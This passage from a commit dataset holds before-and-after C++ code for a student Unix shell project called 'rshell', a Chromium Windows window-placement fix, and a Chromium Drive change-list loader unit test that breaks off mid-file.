\"exit\") exit(0);\n\n\t\tvector<char*> v = str_parse(cmd);\n\t\n\t\tdoExec(str_parse(cmd));\t\n\t}\n\n\treturn 0;\n\n}\n<|endoftext|>"} {"text":"<commit_before>#include <boost\/tokenizer.hpp>\n#include <iostream>\n#include <unistd.h>\n#include <string.h>\n#include <cstdlib>\n#include <errno.h>\n#include <stdio.h>\n#include <sys\/types.h>\n#include <sys\/wait.h>\n#include <string>\n#include <sstream>\n#include <vector>\n\n\/\/using namespace boost;\nusing namespace std;\n\nint main()\n{\n\tusing namespace boost;\n\tstring args;\n\twhile(1 != 2)\n\t{\n\t\tcout << \"$ \";\n\t\tgetline(cin, args); \t\n\t\t\n\t\tchar *argv[9];\n\t\tint i = 0;\n\t\tvector<string> arg_s;\n\t\ttypedef tokenizer< char_separator<char> > tokenizer;\n\t\tchar_separator<char> sep(\" \", \"-;||&&\", drop_empty_tokens);\n\t\ttokenizer tokens(args, sep);\n\n\t\tfor(tokenizer::iterator tok_iter=tokens.begin(); tok_iter != tokens.end();++tok_iter) {\n\t\t\tif(*tok_iter == \"&&\" || *tok_iter == \"||\" || *tok_iter == \";\") {\n\t\t\n\t\/\/\t\t\targv[i] = NULL;\n\t\/\/\t\t\tint pidb = fork();\n\t\/\/\t\t\tif(pidb == -1) {\n\t\/\/\t\t\t\tperror(\"fork\");\n\t\/\/\t\t\t}\n\t\/\/\t\t\tif(pidb == 0) {\n\t\/\/\t\t\t\tint t = execvp(argv[0], argv);\n\t\/\/\t\t\t\tif(t == -1) {\n\t\/\/\t\t\t\t\tperror(\"execvp\");\n\t\/\/\t\t\t\t}\n\t\/\/\t\t\t}\n\t\/\/\t\t\telse {\n\t\/\/\t\t\t\tif(-1 == waitpid(pidb, &pidb, 0)) {\n\t\/\/\t\t\t\t\tperror(\"waitpid\");\n\t\/\/\t\t\t\t}\n\t\/\/\t\t\t}\n\t\t\t}\n\t\t\telse {\n\t\t\t\tcout << *tok_iter << endl;\n\t\t\t\targ_s.push_back(*tok_iter);\n\t\t\t\targv[i] = new char[12];\n\t\t\t\tstrcpy(argv[i], const_cast<char*>(arg_s[i].c_str()));\n\t\t\t\tif(*tok_iter == \"exit\")\n\t\t\t\t\texit(1);\n\t\t\t\t++i;\n\t\t\t}\n\t\t}\n\t\targv[i] = NULL;\t\n\t\tint pid = fork();\n\t\tif(pid == -1) {\n\t\t\tperror(\"fork\");\n\t\t\texit(1);\n\t\t}\n\t\tif(pid == 0) {\n\t\t\tint r = execvp(argv[0], argv);\n\t\t\tif(r == -1) {\n\t\t\t\tperror(\"execvp\");\n\t\t\t\texit(1);\n\t\t\t}\n\t\t}\n\t\telse {\n\t\t\tif(-1 == waitpid(pid, &pid, 0)) {\n\t\t\t\tperror(\"waitpid\");\n\t\t\t}\n\t\t}\n\n\/\/\tint pid = fork();\n\/\/\tif(pid == -1) {\n\/\/\t\tperror(\"fork\");\n\/\/\t\texit(1);\n\/\/\t}\n\/\/\tif(pid == 0)\n\/\/\t{\n\t\t\/\/char *argv2[4];\n\t\t\/\/argv2[0] = new char[6];\n\t\t\/\/strcpy(argv[0], \"ls\");\n\t\t\/\/argv2[1] = new char[6];\n\t\t\/\/strcpy(argv[1], \"-a\");\n\t\t\/\/argv2[2] = new char [6];\n\t\t\/\/strcpy(argv[2], \"-l\");\n\t\n\t\/\/\tint pid2 = fork();\n\t\/\/\tif(pid2 == -1) {\n\t\/\/\t\tperror(\"fork\");\n\t\/\/\t\texit(1);\n\t\/\/\t}\t\n\t\/\/\tif(pid2 == 0) {\n\t\/\/\/\t\tif(execvp(argv[0], argv) == -1) {\n\t\/\/\t\t\tperror(\"execvp\");\t\n\t\/\/\t\t\texit(1);\n\t\/\/\t\t}\n\t\/\/\t}\n\t\/\/\telse {\n\t\/\/\t\tif(-1 == waitpid(pid2,&pid2,0 ))\n\t\/\/\t\t\tperror(\"waitpid\");\n\t\/\/\t}\n\t\/\/\t\n\t \/\/ if(execvp(argv[1], argv) == -1) {\n\t\/\/\t\tperror(\"execvp\");\n\t\/\/\t\texit(1);\n\t\/\/\t}\n\/\/\n\/\/\t\tcout << \"after\" << endl;\n\/\/\t}\n\/\/\telse {\n\/\/\t\tif(-1 == waitpid(pid, &pid, 0))\n\/\/\t\t\tperror(\"waitpid\");\n\/\/\t}\n\t\n\t}\n\n\treturn 0;\n}\n<commit_msg>rshell.cpp updated<commit_after>#include <boost\/tokenizer.hpp>\n#include <iostream>\n#include <unistd.h>\n#include <string.h>\n#include <cstdlib>\n#include <errno.h>\n#include <stdio.h>\n#include <sys\/types.h>\n#include <sys\/wait.h>\n#include <string>\n#include <sstream>\n#include <vector>\n\n\/\/using namespace boost;\nusing namespace std;\n\nint main()\n{\n\tusing namespace boost;\n\tstring args;\n\twhile(1 != 2)\n\t{\n\t\tcout << \"$ \";\n\t\tgetline(cin, args); \t\n\t\t\n\t\tchar *argv[9];\n\t\tint i = 0;\n\t\tvector<string> arg_s;\n\t\ttypedef tokenizer< char_separator<char> > tokenizer;\n\t\tchar_separator<char> sep(\" \", \"-;||&&\", drop_empty_tokens);\n\t\ttokenizer tokens(args, sep);\n\n\t\tfor(tokenizer::iterator tok_iter=tokens.begin(); tok_iter != tokens.end();++tok_iter) {\n\t\t\tif(*tok_iter == \"&&\" || *tok_iter == \"||\" || *tok_iter == \";\") {\n\t\t\n\t\/\/\t\t\targv[i] = NULL;\n\t\/\/\t\t\tint pidb = fork();\n\t\/\/\t\t\tif(pidb == -1) {\n\t\/\/\t\t\t\tperror(\"fork\");\n\t\/\/\t\t\t}\n\t\/\/\t\t\tif(pidb == 0) {\n\t\/\/\t\t\t\tint t = execvp(argv[0], argv);\n\t\/\/\t\t\t\tif(t == -1) {\n\t\/\/\t\t\t\t\tperror(\"execvp\");\n\t\/\/\t\t\t\t}\n\t\/\/\t\t\t}\n\t\/\/\t\t\telse {\n\t\/\/\t\t\t\tif(-1 == waitpid(pidb, &pidb, 0)) {\n\t\/\/\t\t\t\t\tperror(\"waitpid\");\n\t\/\/\t\t\t\t}\n\t\/\/\t\t\t}\n\t\t\t}\n\t\t\telse {\n\n\t\t\t\targ_s.push_back(*tok_iter);\n\t\t\t\targv[i] = new char[12];\n\t\t\t\tstrcpy(argv[i], const_cast<char*>(arg_s[i].c_str()));\n\t\t\t\tif(*tok_iter == \"exit\")\n\t\t\t\t\texit(1);\n\t\t\t\t++i;\n\t\t\t}\n\t\t}\n\t\targv[i] = NULL;\t\n\t\tint pid = fork();\n\t\tif(pid == -1) {\n\t\t\tperror(\"fork\");\n\t\t\texit(1);\n\t\t}\n\t\tif(pid == 0) {\n\t\t\tint r = execvp(argv[0], argv);\n\t\t\tif(r == -1) {\n\t\t\t\tperror(\"execvp\");\n\t\t\t\texit(1);\n\t\t\t}\n\t\t}\n\t\telse {\n\t\t\tif(-1 == waitpid(pid, &pid, 0)) {\n\t\t\t\tperror(\"waitpid\");\n\t\t\t}\n\t\t}\n\n\/\/\tint pid = fork();\n\/\/\tif(pid == -1) {\n\/\/\t\tperror(\"fork\");\n\/\/\t\texit(1);\n\/\/\t}\n\/\/\tif(pid == 0)\n\/\/\t{\n\t\t\/\/char *argv2[4];\n\t\t\/\/argv2[0] = new char[6];\n\t\t\/\/strcpy(argv[0], \"ls\");\n\t\t\/\/argv2[1] = new char[6];\n\t\t\/\/strcpy(argv[1], \"-a\");\n\t\t\/\/argv2[2] = new char [6];\n\t\t\/\/strcpy(argv[2], \"-l\");\n\t\n\t\/\/\tint pid2 = fork();\n\t\/\/\tif(pid2 == -1) {\n\t\/\/\t\tperror(\"fork\");\n\t\/\/\t\texit(1);\n\t\/\/\t}\t\n\t\/\/\tif(pid2 == 0) {\n\t\/\/\/\t\tif(execvp(argv[0], argv) == -1) {\n\t\/\/\t\t\tperror(\"execvp\");\t\n\t\/\/\t\t\texit(1);\n\t\/\/\t\t}\n\t\/\/\t}\n\t\/\/\telse {\n\t\/\/\t\tif(-1 == waitpid(pid2,&pid2,0 ))\n\t\/\/\t\t\tperror(\"waitpid\");\n\t\/\/\t}\n\t\/\/\t\n\t \/\/ if(execvp(argv[1], argv) == -1) {\n\t\/\/\t\tperror(\"execvp\");\n\t\/\/\t\texit(1);\n\t\/\/\t}\n\/\/\n\/\/\t\tcout << \"after\" << endl;\n\/\/\t}\n\/\/\telse {\n\/\/\t\tif(-1 == waitpid(pid, &pid, 0))\n\/\/\t\t\tperror(\"waitpid\");\n\/\/\t}\n\t\n\t}\n\n\treturn 0;\n}\n<|endoftext|>"} {"text":"<commit_before><commit_msg>Adding many of the features. Considering this a v0.1<commit_after>#include <iostream>\n#include <string>\n#include <queue>\n#include <vector>\n#include <algorithm>\n#include <errno.h>\n#include <sys\/types.h>\n#include <sys\/wait.h>\n#include <string.h>\n#include <unistd.h>\n#include <stdio.h>\n#include <stdlib.h>\n\nusing namespace std;\n\nconst string cmd_delimiter = \";|&#\";\n\nvoid splice_input(queue<string> &cmds, queue<char> &conns, const string &input);\nstring get_input(const string &input, int &start, int &end);\nint find_delimiter(const string &input, int &start);\nbool run_command(string &input, char &conn);\nvoid tokenize(vector<char*> &comms, string &input);\n\nint main()\n{\n string input;\n char logic;\n queue<string> commands;\n queue<char> connectors;\n bool running = true;\n\n while(1)\n {\n cout << \"$ \";\n getline(cin, input);\n splice_input(commands, connectors, input);\n\n while(!commands.empty() && running)\n {\n input = commands.front();\n commands.pop();\n\n if(!connectors.empty())\n {\n logic = connectors.front();\n connectors.pop();\n }\n\n if(input.find(\"exit\") == string::npos)\n running = run_command(input, logic);\n else\n exit(1);\n\n if(!running)\n {\n connectors = queue<char>();\n commands = queue<string>();\n }\n }\n running = true;\n\n }\n\n return 0;\n}\n\nvoid splice_input(queue<string> &cmds, queue<char> &conns, const string &input)\n{\n int pos = 0;\n char logic;\n string new_cmd;\n string parse = input;\n\n while(pos != -1)\n {\n pos = parse.find_first_of(cmd_delimiter);\n new_cmd = parse.substr(0, pos);\n logic = parse[pos];\n\n while(new_cmd[0] == ' ')\n new_cmd = new_cmd.substr(1, new_cmd.length());\n\n if(logic == '&' || logic == '|')\n {\n cmds.push(new_cmd);\n parse.erase(0, pos + 2);\n }\n else if(logic == ';')\n {\n cmds.push(new_cmd);\n parse.erase(0, pos + 1);\n }\n else\n cmds.push(new_cmd);\n \n if(logic == '#')\n return;\n\n conns.push(logic);\n }\n\n}\n\nbool run_command(string &input, char &conn)\n{\n pid_t pid = fork();\n vector<char*> tokens;\n int status = 0;\n\n if(pid == -1)\n {\n perror(\"Error with fork()\");\n exit(1);\n }\n else if(pid == 0)\n {\n tokenize(tokens, input);\n char **cmds = &tokens[0];\n execvp(cmds[0], cmds);\n perror(\"Execvp failed!\");\n exit(1);\n }\n else\n {\n wait(&status);\n\n if(conn == '&')\n {\n if(status > 0)\n return false;\n }\n }\n\n return true;\n}\n\nvoid tokenize(vector<char*> &comms, string &input)\n{\n string convert;\n string tokenizer = input;\n size_t pos = 0;\n\n while(pos != string::npos)\n {\n pos = tokenizer.find(' ');\n convert = pos == string::npos ? tokenizer \\\n : tokenizer.substr(0, pos);\n convert.erase(std::remove_if(convert.begin(), convert.end(), ::isspace), convert.end());\n if(!convert.empty())\n {\n char *tmp = new char[convert.length() + 1];\n strcpy(tmp, convert.c_str());\n comms.push_back(tmp);\n tokenizer.erase(0, pos + 1);\n }\n }\n\n comms.push_back(NULL);\n\n return;\n}\n\n\n<|endoftext|>"} {"text":"<commit_before>\/\/ Copyright (c) 2011 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#include \"chrome\/browser\/automation\/testing_automation_provider.h\"\n\n#include <windows.h>\n\n#include \"base\/string_util.h\"\n#include \"base\/utf_string_conversions.h\"\n#include \"chrome\/browser\/automation\/automation_browser_tracker.h\"\n#include \"chrome\/browser\/automation\/automation_window_tracker.h\"\n#include \"chrome\/browser\/ui\/browser_window.h\"\n\nvoid TestingAutomationProvider::ActivateWindow(int handle) {\n if (window_tracker_->ContainsHandle(handle)) {\n ::SetActiveWindow(window_tracker_->GetResource(handle));\n }\n}\n\nvoid TestingAutomationProvider::IsWindowMaximized(int handle,\n bool* is_maximized,\n bool* success) {\n *success = false;\n\n HWND hwnd = window_tracker_->GetResource(handle);\n if (hwnd) {\n *success = true;\n WINDOWPLACEMENT window_placement;\n GetWindowPlacement(hwnd, &window_placement);\n *is_maximized = (window_placement.showCmd == SW_MAXIMIZE);\n }\n}\n\nvoid TestingAutomationProvider::TerminateSession(int handle, bool* success) {\n *success = false;\n\n if (browser_tracker_->ContainsHandle(handle)) {\n Browser* browser = browser_tracker_->GetResource(handle);\n HWND window = browser->window()->GetNativeHandle();\n *success = (::PostMessageW(window, WM_ENDSESSION, 0, 0) == TRUE);\n }\n}\n\nvoid TestingAutomationProvider::GetWindowBounds(int handle,\n gfx::Rect* bounds,\n bool* success) {\n *success = false;\n HWND hwnd = window_tracker_->GetResource(handle);\n if (hwnd) {\n *success = true;\n WINDOWPLACEMENT window_placement;\n GetWindowPlacement(hwnd, &window_placement);\n *bounds = window_placement.rcNormalPosition;\n }\n}\n\nvoid TestingAutomationProvider::SetWindowBounds(int handle,\n const gfx::Rect& bounds,\n bool* success) {\n *success = false;\n if (window_tracker_->ContainsHandle(handle)) {\n HWND hwnd = window_tracker_->GetResource(handle);\n if (::MoveWindow(hwnd, bounds.x(), bounds.y(), bounds.width(),\n bounds.height(), true)) {\n *success = true;\n }\n }\n}\n\nvoid TestingAutomationProvider::SetWindowVisible(int handle,\n bool visible,\n bool* result) {\n if (window_tracker_->ContainsHandle(handle)) {\n HWND hwnd = window_tracker_->GetResource(handle);\n ::ShowWindow(hwnd, visible ? SW_SHOW : SW_HIDE);\n *result = true;\n } else {\n *result = false;\n }\n}\n\nvoid TestingAutomationProvider::GetWindowTitle(int handle, string16* text) {\n gfx::NativeWindow window = window_tracker_->GetResource(handle);\n std::wstring result;\n int length = ::GetWindowTextLength(window) + 1;\n ::GetWindowText(window, WriteInto(&result, length), length);\n text->assign(WideToUTF16(result));\n}\n\n<commit_msg>Set WINDOWPLACEMENT.length before calling GetWindowPlacement() Also check return value of GetWindowPlacement()<commit_after>\/\/ Copyright (c) 2011 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#include \"chrome\/browser\/automation\/testing_automation_provider.h\"\n\n#include <windows.h>\n\n#include \"base\/string_util.h\"\n#include \"base\/utf_string_conversions.h\"\n#include \"chrome\/browser\/automation\/automation_browser_tracker.h\"\n#include \"chrome\/browser\/automation\/automation_window_tracker.h\"\n#include \"chrome\/browser\/ui\/browser_window.h\"\n\nvoid TestingAutomationProvider::ActivateWindow(int handle) {\n if (window_tracker_->ContainsHandle(handle)) {\n ::SetActiveWindow(window_tracker_->GetResource(handle));\n }\n}\n\nvoid TestingAutomationProvider::IsWindowMaximized(int handle,\n bool* is_maximized,\n bool* success) {\n *success = false;\n\n HWND hwnd = window_tracker_->GetResource(handle);\n if (hwnd) {\n WINDOWPLACEMENT window_placement;\n window_placement.length = sizeof(window_placement);\n if (GetWindowPlacement(hwnd, &window_placement)) {\n *success = true;\n *is_maximized = (window_placement.showCmd == SW_MAXIMIZE);\n }\n }\n}\n\nvoid TestingAutomationProvider::TerminateSession(int handle, bool* success) {\n *success = false;\n\n if (browser_tracker_->ContainsHandle(handle)) {\n Browser* browser = browser_tracker_->GetResource(handle);\n HWND window = browser->window()->GetNativeHandle();\n *success = (::PostMessageW(window, WM_ENDSESSION, 0, 0) == TRUE);\n }\n}\n\nvoid TestingAutomationProvider::GetWindowBounds(int handle,\n gfx::Rect* bounds,\n bool* success) {\n *success = false;\n HWND hwnd = window_tracker_->GetResource(handle);\n if (hwnd) {\n WINDOWPLACEMENT window_placement;\n window_placement.length = sizeof(window_placement);\n if (GetWindowPlacement(hwnd, &window_placement)) {\n *success = true;\n *bounds = window_placement.rcNormalPosition;\n }\n }\n}\n\nvoid TestingAutomationProvider::SetWindowBounds(int handle,\n const gfx::Rect& bounds,\n bool* success) {\n *success = false;\n if (window_tracker_->ContainsHandle(handle)) {\n HWND hwnd = window_tracker_->GetResource(handle);\n if (::MoveWindow(hwnd, bounds.x(), bounds.y(), bounds.width(),\n bounds.height(), true)) {\n *success = true;\n }\n }\n}\n\nvoid TestingAutomationProvider::SetWindowVisible(int handle,\n bool visible,\n bool* result) {\n if (window_tracker_->ContainsHandle(handle)) {\n HWND hwnd = window_tracker_->GetResource(handle);\n ::ShowWindow(hwnd, visible ? SW_SHOW : SW_HIDE);\n *result = true;\n } else {\n *result = false;\n }\n}\n\nvoid TestingAutomationProvider::GetWindowTitle(int handle, string16* text) {\n gfx::NativeWindow window = window_tracker_->GetResource(handle);\n std::wstring result;\n int length = ::GetWindowTextLength(window) + 1;\n ::GetWindowText(window, WriteInto(&result, length), length);\n text->assign(WideToUTF16(result));\n}\n\n<|endoftext|>"} {"text":"<commit_before>\/\/ Copyright 2013 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#include \"chrome\/browser\/chromeos\/drive\/change_list_loader.h\"\n\n#include \"base\/files\/scoped_temp_dir.h\"\n#include \"base\/memory\/scoped_ptr.h\"\n#include \"base\/prefs\/testing_pref_service.h\"\n#include \"base\/run_loop.h\"\n#include \"chrome\/browser\/chromeos\/drive\/change_list_loader_observer.h\"\n#include \"chrome\/browser\/chromeos\/drive\/file_cache.h\"\n#include \"chrome\/browser\/chromeos\/drive\/file_system_util.h\"\n#include \"chrome\/browser\/chromeos\/drive\/job_scheduler.h\"\n#include \"chrome\/browser\/chromeos\/drive\/resource_metadata.h\"\n#include \"chrome\/browser\/chromeos\/drive\/test_util.h\"\n#include \"chrome\/browser\/drive\/fake_drive_service.h\"\n#include \"chrome\/browser\/google_apis\/test_util.h\"\n#include \"content\/public\/test\/test_browser_thread_bundle.h\"\n#include \"testing\/gtest\/include\/gtest\/gtest.h\"\n\nnamespace drive {\nnamespace internal {\n\nclass TestChangeListLoaderObserver : public ChangeListLoaderObserver {\n public:\n explicit TestChangeListLoaderObserver(ChangeListLoader* loader)\n : loader_(loader),\n load_from_server_complete_count_(0),\n initial_load_complete_count_(0) {\n loader_->AddObserver(this);\n }\n\n virtual ~TestChangeListLoaderObserver() {\n loader_->RemoveObserver(this);\n }\n\n const std::set<base::FilePath>& changed_directories() const {\n return changed_directories_;\n }\n int load_from_server_complete_count() const {\n return load_from_server_complete_count_;\n }\n int initial_load_complete_count() const {\n return initial_load_complete_count_;\n }\n\n \/\/ ChageListObserver overrides:\n virtual void OnDirectoryChanged(\n const base::FilePath& directory_path) OVERRIDE {\n changed_directories_.insert(directory_path);\n }\n virtual void OnLoadFromServerComplete() OVERRIDE {\n ++load_from_server_complete_count_;\n }\n virtual void OnInitialLoadComplete() OVERRIDE {\n ++initial_load_complete_count_;\n }\n\n private:\n ChangeListLoader* loader_;\n std::set<base::FilePath> changed_directories_;\n int load_from_server_complete_count_;\n int initial_load_complete_count_;\n\n DISALLOW_COPY_AND_ASSIGN(TestChangeListLoaderObserver);\n};\n\nclass ChangeListLoaderTest : public testing::Test {\n protected:\n virtual void SetUp() OVERRIDE {\n ASSERT_TRUE(temp_dir_.CreateUniqueTempDir());\n pref_service_.reset(new TestingPrefServiceSimple);\n test_util::RegisterDrivePrefs(pref_service_->registry());\n\n drive_service_.reset(new FakeDriveService);\n ASSERT_TRUE(drive_service_->LoadResourceListForWapi(\n \"gdata\/root_feed.json\"));\n ASSERT_TRUE(drive_service_->LoadAccountMetadataForWapi(\n \"gdata\/account_metadata.json\"));\n\n scheduler_.reset(new JobScheduler(pref_service_.get(),\n drive_service_.get(),\n base::MessageLoopProxy::current().get()));\n metadata_storage_.reset(new ResourceMetadataStorage(\n temp_dir_.path(), base::MessageLoopProxy::current().get()));\n ASSERT_TRUE(metadata_storage_->Initialize());\n\n metadata_.reset(new ResourceMetadata(\n metadata_storage_.get(), base::MessageLoopProxy::current().get()));\n ASSERT_EQ(FILE_ERROR_OK, metadata_->Initialize());\n\n cache_.reset(new FileCache(metadata_storage_.get(),\n temp_dir_.path(),\n base::MessageLoopProxy::current().get(),\n NULL \/* free_disk_space_getter *\/));\n ASSERT_TRUE(cache_->Initialize());\n\n change_list_loader_.reset(\n new ChangeListLoader(base::MessageLoopProxy::current().get(),\n metadata_.get(),\n scheduler_.get()));\n }\n\n \/\/ Adds a new file to the root directory of the service.\n scoped_ptr<google_apis::ResourceEntry> AddNewFile(const std::string& title) {\n google_apis::GDataErrorCode error = google_apis::GDATA_FILE_ERROR;\n scoped_ptr<google_apis::ResourceEntry> entry;\n drive_service_->AddNewFile(\n \"text\/plain\",\n \"content text\",\n drive_service_->GetRootResourceId(),\n title,\n false, \/\/ shared_with_me\n google_apis::test_util::CreateCopyResultCallback(&error, &entry));\n base::RunLoop().RunUntilIdle();\n EXPECT_EQ(google_apis::HTTP_CREATED, error);\n return entry.Pass();\n }\n\n content::TestBrowserThreadBundle thread_bundle_;\n base::ScopedTempDir temp_dir_;\n scoped_ptr<TestingPrefServiceSimple> pref_service_;\n scoped_ptr<FakeDriveService> drive_service_;\n scoped_ptr<JobScheduler> scheduler_;\n scoped_ptr<ResourceMetadataStorage,\n test_util::DestroyHelperForTests> metadata_storage_;\n scoped_ptr<ResourceMetadata, test_util::DestroyHelperForTests> metadata_;\n scoped_ptr<FileCache, test_util::DestroyHelperForTests> cache_;\n scoped_ptr<ChangeListLoader> change_list_loader_;\n};\n\nTEST_F(ChangeListLoaderTest, LoadIfNeeded) {\n EXPECT_FALSE(change_list_loader_->IsRefreshing());\n\n \/\/ Start initial load.\n TestChangeListLoaderObserver observer(change_list_loader_.get());\n\n FileError error = FILE_ERROR_FAILED;\n change_list_loader_->LoadIfNeeded(\n DirectoryFetchInfo(),\n google_apis::test_util::CreateCopyResultCallback(&error));\n EXPECT_TRUE(change_list_loader_->IsRefreshing());\n base::RunLoop().RunUntilIdle();\n EXPECT_EQ(FILE_ERROR_OK, error);\n\n EXPECT_FALSE(change_list_loader_->IsRefreshing());\n EXPECT_LT(0, metadata_->GetLargestChangestamp());\n EXPECT_EQ(1, drive_service_->resource_list_load_count());\n EXPECT_EQ(1, observer.initial_load_complete_count());\n EXPECT_EQ(1, observer.load_from_server_complete_count());\n EXPECT_TRUE(observer.changed_directories().empty());\n\n base::FilePath file_path =\n util::GetDriveMyDriveRootPath().AppendASCII(\"File 1.txt\");\n ResourceEntry entry;\n EXPECT_EQ(FILE_ERROR_OK,\n metadata_->GetResourceEntryByPath(file_path, &entry));\n\n \/\/ Reload. This should result in no-op.\n int64 previous_changestamp = metadata_->GetLargestChangestamp();\n int previous_resource_list_load_count =\n drive_service_->resource_list_load_count();\n change_list_loader_->LoadIfNeeded(\n DirectoryFetchInfo(),\n google_apis::test_util::CreateCopyResultCallback(&error));\n EXPECT_FALSE(change_list_loader_->IsRefreshing());\n base::RunLoop().RunUntilIdle();\n EXPECT_EQ(FILE_ERROR_OK, error);\n\n EXPECT_FALSE(change_list_loader_->IsRefreshing());\n EXPECT_EQ(previous_changestamp, metadata_->GetLargestChangestamp());\n EXPECT_EQ(previous_resource_list_load_count,\n drive_service_->resource_list_load_count());\n}\n\nTEST_F(ChangeListLoaderTest, LoadIfNeeded_LocalMetadataAvailable) {\n \/\/ Prepare metadata.\n FileError error = FILE_ERROR_FAILED;\n change_list_loader_->LoadIfNeeded(\n DirectoryFetchInfo(),\n google_apis::test_util::CreateCopyResultCallback(&error));\n base::RunLoop().RunUntilIdle();\n EXPECT_EQ(FILE_ERROR_OK, error);\n\n \/\/ Reset loader.\n change_list_loader_.reset(\n new ChangeListLoader(base::MessageLoopProxy::current().get(),\n metadata_.get(),\n scheduler_.get()));\n\n \/\/ Add a file to the service.\n scoped_ptr<google_apis::ResourceEntry> gdata_entry = AddNewFile(\"New File\");\n ASSERT_TRUE(gdata_entry);\n\n \/\/ Start loading. Because local metadata is available, the load results in\n \/\/ returning FILE_ERROR_OK without fetching full list of resources.\n const int previous_resource_list_load_count =\n drive_service_->resource_list_load_count();\n TestChangeListLoaderObserver observer(change_list_loader_.get());\n\n change_list_loader_->LoadIfNeeded(\n DirectoryFetchInfo(),\n google_apis::test_util::CreateCopyResultCallback(&error));\n EXPECT_TRUE(change_list_loader_->IsRefreshing());\n base::RunLoop().RunUntilIdle();\n EXPECT_EQ(FILE_ERROR_OK, error);\n EXPECT_EQ(previous_resource_list_load_count,\n drive_service_->resource_list_load_count());\n EXPECT_EQ(1, observer.initial_load_complete_count());\n\n \/\/ Update should be checked by LoadIfNeeded().\n EXPECT_EQ(drive_service_->largest_changestamp(),\n metadata_->GetLargestChangestamp());\n EXPECT_EQ(1, drive_service_->change_list_load_count());\n EXPECT_EQ(1, observer.load_from_server_complete_count());\n EXPECT_EQ(1U, observer.changed_directories().count(\n util::GetDriveMyDriveRootPath()));\n\n base::FilePath file_path =\n util::GetDriveMyDriveRootPath().AppendASCII(gdata_entry->title());\n ResourceEntry entry;\n EXPECT_EQ(FILE_ERROR_OK,\n metadata_->GetResourceEntryByPath(file_path, &entry));\n}\n\nTEST_F(ChangeListLoaderTest, CheckForUpdates) {\n \/\/ CheckForUpdates() results in no-op before load.\n FileError check_for_updates_error = FILE_ERROR_FAILED;\n change_list_loader_->CheckForUpdates(\n google_apis::test_util::CreateCopyResultCallback(\n &check_for_updates_error));\n EXPECT_FALSE(change_list_loader_->IsRefreshing());\n base::RunLoop().RunUntilIdle();\n EXPECT_EQ(FILE_ERROR_FAILED,\n check_for_updates_error); \/\/ Callback was not run.\n EXPECT_EQ(0, metadata_->GetLargestChangestamp());\n EXPECT_EQ(0, drive_service_->resource_list_load_count());\n\n \/\/ Start initial load.\n FileError load_error = FILE_ERROR_FAILED;\n change_list_loader_->LoadIfNeeded(\n DirectoryFetchInfo(),\n google_apis::test_util::CreateCopyResultCallback(&load_error));\n EXPECT_TRUE(change_list_loader_->IsRefreshing());\n\n \/\/ CheckForUpdates() while loading.\n change_list_loader_->CheckForUpdates(\n google_apis::test_util::CreateCopyResultCallback(\n &check_for_updates_error));\n\n base::RunLoop().RunUntilIdle();\n EXPECT_FALSE(change_list_loader_->IsRefreshing());\n EXPECT_EQ(FILE_ERROR_OK, load_error);\n EXPECT_EQ(FILE_ERROR_OK, check_for_updates_error);\n EXPECT_LT(0, metadata_->GetLargestChangestamp());\n EXPECT_EQ(1, drive_service_->resource_list_load_count());\n\n int64 previous_changestamp = metadata_->GetLargestChangestamp();\n \/\/ CheckForUpdates() results in no update.\n change_list_loader_->CheckForUpdates(\n google_apis::test_util::CreateCopyResultCallback(\n &check_for_updates_error));\n EXPECT_TRUE(change_list_loader_->IsRefreshing());\n base::RunLoop().RunUntilIdle();\n EXPECT_FALSE(change_list_loader_->IsRefreshing());\n EXPECT_EQ(previous_changestamp, metadata_->GetLargestChangestamp());\n\n \/\/ Add a file to the service.\n scoped_ptr<google_apis::ResourceEntry> gdata_entry = AddNewFile(\"New File\");\n ASSERT_TRUE(gdata_entry);\n\n \/\/ CheckForUpdates() results in update.\n TestChangeListLoaderObserver observer(change_list_loader_.get());\n change_list_loader_->CheckForUpdates(\n google_apis::test_util::CreateCopyResultCallback(\n &check_for_updates_error));\n EXPECT_TRUE(change_list_loader_->IsRefreshing());\n base::RunLoop().RunUntilIdle();\n EXPECT_FALSE(change_list_loader_->IsRefreshing());\n EXPECT_LT(previous_changestamp, metadata_->GetLargestChangestamp());\n EXPECT_EQ(1, observer.load_from_server_complete_count());\n EXPECT_EQ(1U, observer.changed_directories().count(\n util::GetDriveMyDriveRootPath()));\n\n \/\/ The new file is found in the local metadata.\n base::FilePath new_file_path =\n util::GetDriveMyDriveRootPath().AppendASCII(gdata_entry->title());\n ResourceEntry entry;\n EXPECT_EQ(FILE_ERROR_OK,\n metadata_->GetResourceEntryByPath(new_file_path, &entry));\n}\n\n} \/\/ namespace internal\n} \/\/ namespace drive\n<commit_msg>drive: Add test for ChangeListLoader::LoadIfNeeded with non empty DirectoryFetchInfo<commit_after>\/\/ Copyright 2013 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#include \"chrome\/browser\/chromeos\/drive\/change_list_loader.h\"\n\n#include \"base\/files\/scoped_temp_dir.h\"\n#include \"base\/memory\/scoped_ptr.h\"\n#include \"base\/prefs\/testing_pref_service.h\"\n#include \"base\/run_loop.h\"\n#include \"chrome\/browser\/chromeos\/drive\/change_list_loader_observer.h\"\n#include \"chrome\/browser\/chromeos\/drive\/file_cache.h\"\n#include \"chrome\/browser\/chromeos\/drive\/file_system_util.h\"\n#include \"chrome\/browser\/chromeos\/drive\/job_scheduler.h\"\n#include \"chrome\/browser\/chromeos\/drive\/resource_metadata.h\"\n#include \"chrome\/browser\/chromeos\/drive\/test_util.h\"\n#include \"chrome\/browser\/drive\/fake_drive_service.h\"\n#include \"chrome\/browser\/google_apis\/test_util.h\"\n#include \"content\/public\/test\/test_browser_thread_bundle.h\"\n#include \"testing\/gtest\/include\/gtest\/gtest.h\"\n\nnamespace drive {\nnamespace internal {\n\nclass TestChangeListLoaderObserver : public ChangeListLoaderObserver {\n public:\n explicit TestChangeListLoaderObserver(ChangeListLoader* loader)\n : loader_(loader),\n load_from_server_complete_count_(0),\n initial_load_complete_count_(0) {\n loader_->AddObserver(this);\n }\n\n virtual ~TestChangeListLoaderObserver() {\n loader_->RemoveObserver(this);\n }\n\n const std::set<base::FilePath>& changed_directories() const {\n return changed_directories_;\n }\n int load_from_server_complete_count() const {\n return load_from_server_complete_count_;\n }\n int 